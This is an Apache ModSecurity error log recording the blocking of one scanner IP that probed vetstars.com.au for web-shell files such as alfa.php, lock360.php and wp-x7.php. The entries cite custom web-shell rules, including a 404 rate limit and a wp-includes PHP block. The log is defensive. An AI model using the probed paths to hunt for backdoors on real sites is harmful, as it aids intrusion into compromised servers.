[Sun Dec 21 19:57:20.626359 2025] [:error] [pid 59068:tid 59124] [client 20.2.26.82:16489] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUfgoBmLyLqWUlrjwydrNgAAAFc"]
[Sun Dec 21 19:57:20.920628 2025] [:error] [pid 59068:tid 59115] [client 20.2.26.82:16466] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUfgoBmLyLqWUlrjwydrOAAAAE4"]
[Sun Dec 21 19:57:21.218493 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:16460] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUfgoX3dhXne9KX1kgIfJAAAAJQ"]
[Sun Dec 21 19:57:21.530748 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:16404] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUfgoctpsOP1NfIK_qI_RQAAAAo"]
[Sun Dec 21 19:57:21.819982 2025] [:error] [pid 59067:tid 59089] [client 20.2.26.82:16386] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUfgoctpsOP1NfIK_qI_RgAAAA8"]
[Sun Dec 21 19:57:22.166491 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16477] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUfgon3dhXne9KX1kgIfJgAAAIU"]
[Sun Dec 21 19:57:22.481613 2025] [:error] [pid 59158:tid 59182] [client 20.2.26.82:16398] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUfgoo7NvyNF8ab5VgUauQAAANY"]
[Sun Dec 21 19:57:22.804068 2025] [:error] [pid 59158:tid 59165] [client 20.2.26.82:16411] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUfgoo7NvyNF8ab5VgUavQAAAMU"]
[Sun Dec 21 19:57:23.121191 2025] [:error] [pid 59067:tid 59085] [client 20.2.26.82:16496] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUfgo8tpsOP1NfIK_qI_SQAAAAs"]
[Sun Dec 21 19:57:23.425973 2025] [:error] [pid 59070:tid 59128] [client 20.2.26.82:16506] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUfgo33dhXne9KX1kgIfLAAAAIA"]
[Sun Dec 21 19:57:23.811049 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:16492] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aUfgo33dhXne9KX1kgIfLgAAAJQ"]
[Sun Dec 21 19:57:24.200097 2025] [:error] [pid 59070:tid 59144] [client 20.2.26.82:1990] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aUfgpH3dhXne9KX1kgIfMAAAAJA"]
[Sun Dec 21 19:57:24.503613 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:16464] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aUfgpMtpsOP1NfIK_qI_UQAAABI"]
[Sun Dec 21 19:57:24.853196 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16448] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aUfgpH3dhXne9KX1kgIfMQAAAIU"]
[Sun Dec 21 19:57:25.187832 2025] [:error] [pid 59070:tid 59145] [client 20.2.26.82:16480] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUfgpX3dhXne9KX1kgIfNAAAAJE"]
[Sun Dec 21 19:57:25.508131 2025] [:error] [pid 59068:tid 59119] [client 20.2.26.82:16388] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUfgpRmLyLqWUlrjwydrQgAAAFI"]
[Sun Dec 21 19:57:25.820067 2025] [:error] [pid 59067:tid 59089] [client 20.2.26.82:16499] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUfgpctpsOP1NfIK_qI_VQAAAA8"]
[Sun Dec 21 19:57:26.146968 2025] [:error] [pid 59067:tid 59076] [client 20.2.26.82:1989] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUfgpstpsOP1NfIK_qI_VgAAAAI"]
[Sun Dec 21 19:57:26.512282 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:2036] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUfgpn3dhXne9KX1kgIfOQAAAI4"]
[Sun Dec 21 19:57:26.824106 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:16493] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUfgpstpsOP1NfIK_qI_WQAAAAU"]
[Sun Dec 21 19:57:27.123962 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:16462] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUfgp47NvyNF8ab5VgUayQAAANI"]
[Sun Dec 21 19:57:27.483858 2025] [:error] [pid 59067:tid 59081] [client 20.2.26.82:16449] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUfgp8tpsOP1NfIK_qI_WwAAAAc"]
[Sun Dec 21 19:57:27.807381 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:16392] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUfgp8tpsOP1NfIK_qI_XQAAABI"]
[Sun Dec 21 19:57:28.130909 2025] [:error] [pid 59067:tid 59097] [client 20.2.26.82:1999] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUfgqMtpsOP1NfIK_qI_XgAAABc"]
[Sun Dec 21 19:57:28.457725 2025] [:error] [pid 59067:tid 59087] [client 20.2.26.82:16455] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUfgqMtpsOP1NfIK_qI_YQAAAA0"]
[Sun Dec 21 19:57:28.798254 2025] [:error] [pid 59067:tid 59089] [client 20.2.26.82:16505] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUfgqMtpsOP1NfIK_qI_YgAAAA8"]
[Sun Dec 21 19:57:29.111647 2025] [:error] [pid 59068:tid 59124] [client 20.2.26.82:16399] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUfgqRmLyLqWUlrjwydrSgAAAFc"]
[Sun Dec 21 19:57:29.461964 2025] [:error] [pid 59067:tid 59075] [client 20.2.26.82:16500] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUfgqctpsOP1NfIK_qI_ZwAAAAE"]
[Sun Dec 21 19:57:29.774716 2025] [:error] [pid 59070:tid 59137] [client 20.2.26.82:16452] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUfgqX3dhXne9KX1kgIfQgAAAIk"]
[Sun Dec 21 19:57:30.104963 2025] [:error] [pid 59068:tid 59106] [client 20.2.26.82:16425] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUfgqhmLyLqWUlrjwydrTQAAAEU"]
[Sun Dec 21 19:57:30.557604 2025] [:error] [pid 59068:tid 59125] [client 20.2.26.82:16409] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aUfgqhmLyLqWUlrjwydrTgAAAFg"]
[Sun Dec 21 19:57:30.909088 2025] [:error] [pid 59068:tid 59119] [client 20.2.26.82:2017] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aUfgqhmLyLqWUlrjwydrTwAAAFI"]
[Sun Dec 21 19:57:31.230762 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:16483] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aUfgq8tpsOP1NfIK_qI_agAAAA4"]
[Sun Dec 21 19:57:31.540869 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:16498] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aUfgq33dhXne9KX1kgIfSgAAAJc"]
[Sun Dec 21 19:57:31.884167 2025] [:error] [pid 59068:tid 59109] [client 20.2.26.82:16470] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aUfgqxmLyLqWUlrjwydrUwAAAEg"]
[Sun Dec 21 19:57:32.336049 2025] [:error] [pid 59158:tid 59181] [client 20.2.26.82:16459] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aUfgrI7NvyNF8ab5VgUa3wAAANU"]
[Sun Dec 21 19:57:32.779389 2025] [:error] [pid 59070:tid 59136] [client 20.2.26.82:16471] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aUfgrH3dhXne9KX1kgIfUgAAAIg"]
[Sun Dec 21 19:57:33.084172 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:16406] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aUfgrX3dhXne9KX1kgIfUwAAAJg"]
[Sun Dec 21 19:57:33.431363 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:16436] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "aUfgrctpsOP1NfIK_qI_cgAAABI"]
[Sun Dec 21 19:57:33.836772 2025] [:error] [pid 59158:tid 59161] [client 20.2.26.82:16405] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "aUfgrY7NvyNF8ab5VgUa4wAAAME"]
[Sun Dec 21 19:57:34.188502 2025] [:error] [pid 59070:tid 59138] [client 20.2.26.82:16465] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "aUfgrn3dhXne9KX1kgIfVwAAAIo"]
[Sun Dec 21 19:57:34.544018 2025] [:error] [pid 59068:tid 59108] [client 20.2.26.82:16407] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "aUfgrhmLyLqWUlrjwydrXgAAAEc"]
[Sun Dec 21 19:57:34.894371 2025] [:error] [pid 59067:tid 59076] [client 20.2.26.82:16408] [client 20.2.26.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aUfgrstpsOP1NfIK_qI_dQAAAAI"]
[Sun Dec 21 19:57:35.189103 2025] [:error] [pid 59068:tid 59125] [client 20.2.26.82:16395] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system.php"] [unique_id "aUfgrxmLyLqWUlrjwydrYAAAAFg"]
[Sun Dec 21 19:57:35.529828 2025] [:error] [pid 59158:tid 59168] [client 20.2.26.82:16511] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system.php"] [unique_id "aUfgr47NvyNF8ab5VgUa6AAAAMg"]
[Sun Dec 21 19:57:35.942051 2025] [:error] [pid 59068:tid 59109] [client 20.2.26.82:16510] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system.php"] [unique_id "aUfgrxmLyLqWUlrjwydrYgAAAEg"]
[Sun Dec 21 19:57:36.271900 2025] [:error] [pid 59068:tid 59113] [client 20.2.26.82:16393] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aUfgsBmLyLqWUlrjwydrZgAAAEw"]
[Sun Dec 21 19:57:36.727662 2025] [:error] [pid 59067:tid 59082] [client 20.2.26.82:16391] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aUfgsMtpsOP1NfIK_qI_egAAAAg"]
[Sun Dec 21 19:57:37.113848 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:2020] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aUfgsY7NvyNF8ab5VgUa7gAAAMQ"]
[Sun Dec 21 19:57:37.497679 2025] [:error] [pid 59068:tid 59108] [client 20.2.26.82:16428] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aUfgsRmLyLqWUlrjwydrawAAAEc"]
[Sun Dec 21 19:57:37.836751 2025] [:error] [pid 59070:tid 59147] [client 20.2.26.82:16385] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/555.php"] [unique_id "aUfgsX3dhXne9KX1kgIfaAAAAJM"]
[Sun Dec 21 19:57:38.164438 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:2033] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/555.php"] [unique_id "aUfgsn3dhXne9KX1kgIfagAAAIU"]
[Sun Dec 21 19:57:38.509235 2025] [:error] [pid 59068:tid 59106] [client 20.2.26.82:16504] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/555.php"] [unique_id "aUfgshmLyLqWUlrjwydrbQAAAEU"]
[Sun Dec 21 19:57:38.907998 2025] [:error] [pid 59068:tid 59109] [client 20.2.26.82:16453] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/555.php"] [unique_id "aUfgshmLyLqWUlrjwydrcAAAAEg"]
[Sun Dec 21 19:57:39.259163 2025] [:error] [pid 59070:tid 59129] [client 20.2.26.82:16491] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aUfgs33dhXne9KX1kgIfbgAAAIE"]
[Sun Dec 21 19:57:39.574108 2025] [:error] [pid 59068:tid 59114] [client 20.2.26.82:16501] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aUfgsxmLyLqWUlrjwydrcgAAAE0"]
